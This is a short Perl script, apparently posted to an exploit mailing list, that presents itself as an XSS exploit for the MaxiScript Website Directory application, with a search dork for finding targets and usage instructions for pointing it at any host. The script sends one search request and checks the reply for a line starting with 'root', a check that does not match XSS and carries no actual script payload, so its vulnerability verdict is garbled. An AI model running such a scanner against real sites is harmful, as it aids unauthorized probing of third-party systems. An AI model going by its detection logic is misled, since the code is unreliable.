#!/usr/bin/perl

##################################

# Coded And Found by Ghost Hacker                                     #

# Home www.Real-h.com                                                         #

# Email Ghost-r00t[at]hotmail[dot]com                                #

##################################

use LWP::UserAgent;

use HTTP::Request;

use LWP::Simple;

print "\t\t########################################################\n\n";

print "\t\t# Website Directory - XSS Exploit                      #\n\n";

print "\t\t# by Ghost Hacker [Real-h.com]                         #\n\n";

print "\t\t# Dork : Powered by MaxiScript.com                     #\n\n";

print "\t\t########################################################\n\n";

if (!$ARGV[0])

{

print "  Author   : Ghost Hacker\n";

print "  Home     : www.Real-h.com\n";

print "  Email    : Ghost-r00t[at]Hotmail[dot]com\n";

print "  Download : http://www.maxiscript.com/websitedirectory.php\n";

print "  Usage    : perl Ghost.pl [Host]\n";

print "  Example  : perl Ghost.pl http://Real-h.com/path/\n";

}

else

{

$web=$ARGV[0];

chomp $web;

$iny="index.php?keyword=Xss_Hacking&action=search";

my $web1=$web.$iny;

print "$web1\n\n";

my $ua = LWP::UserAgent->new;

my $req=HTTP::Request->new(GET=>$web1);

$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){

print "Web is vuln\n";

}

else

{

print "Web is not vuln\n";

}

}

_________________________________________________________________

Express yourself instantly with MSN Messenger! Download today it's FREE!

http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/